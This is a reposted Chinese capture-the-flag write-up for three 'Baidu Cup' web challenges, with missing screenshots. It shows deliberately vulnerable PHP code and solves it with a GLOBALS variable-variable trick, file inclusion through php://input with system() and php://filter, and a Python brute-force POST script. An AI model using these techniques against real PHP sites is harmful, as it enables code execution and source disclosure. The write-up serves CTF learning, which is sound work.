百度杯

Posted sylover

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了百度杯相关的知识,希望对你有一定的参考价值。

技术图片

一共6道题有两道题没写上。

1.全局变量。

开始给了一大片代码,只截取有用的一部分。

include "flag.php";
$a = @$_REQUEST[‘hello‘];
if(!preg_match(‘/^w*$/‘,$a )){
  die(‘ERROR‘);
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

hello作为全局变量,如果HELLO被赋值为全局函数,就输出flag。hello=GLOBALS

2.include(文件包含)

技术图片

path作为参数我们需要通过这个参数读取php中的绝对路径。

爆绝对路径有两种方法 1.利用php://input+post覆盖原有变量。2.利用php://filter伪协议读取文件目录。

第一种方式 bp抓包后修改数据

技术图片

技术图片

system函数作为命令执行函数会使文件列出自己的目录。

技术图片

这个就是要用的文件。

之后利用php伪协议读取这段代码

技术图片

解码后

技术图片

3.attrack

 <?php
header("content-type:text/html;charset=utf-8");
show_source(__FILE__);
echo ‘<pre>‘;
include(‘u/ip.php‘);
include(‘flag.php‘);
if (in_array($_SERVER[‘REMOTE_ADDR‘],$ip)){
  die("您的ip已进入系统黑名单");
}
var_dump($ip);

if ($_POST[substr($flag,5,3)]==‘attack‘){
  echo $flag;
}else if (count($_POST)>0){
  $ip = ‘$ip[]="‘.$_SERVER[‘REMOTE_ADDR‘].‘";‘.PHP_EOL; 
  file_put_contents(‘u/ip.php‘,$ip,FILE_APPEND);
}


echo ‘</pre>‘;

array(0) {
}

代码的大概意思就是验证flag从第5位开始之后的3个字符是否符合要求,因此需要穷举所有情况。贴出要写的py脚本。

import requests
flagChar="0123456789abcdefgh"
url="http://9ce38ac00cc94333a493d980280b990d53789b1435df421e.changame.ichunqiu.com/"
dictData={}
for a in flagChar:
    for b in flagChar:
        for c in flagChar:
            dictData[a+b+c]="attack"
print (dictData)
res = requests.post(url,data=dictData)
print (res.text)

技术图片

以上是关于百度杯的主要内容,如果未能解决你的问题,请参考以下文章

i春秋-百度杯十月场-fuzzing

猥琐百度杯猥琐CTF

i春秋CTF-“百度杯”CTF比赛 九月场 XSS平台

“百度杯”CTF比赛(二月场)-web-writeup

“百度杯”CTF比赛 十月场_Login

i春秋——“百度杯”CTF比赛 九月场——Test(海洋cms / seacms 任意代码执行漏洞)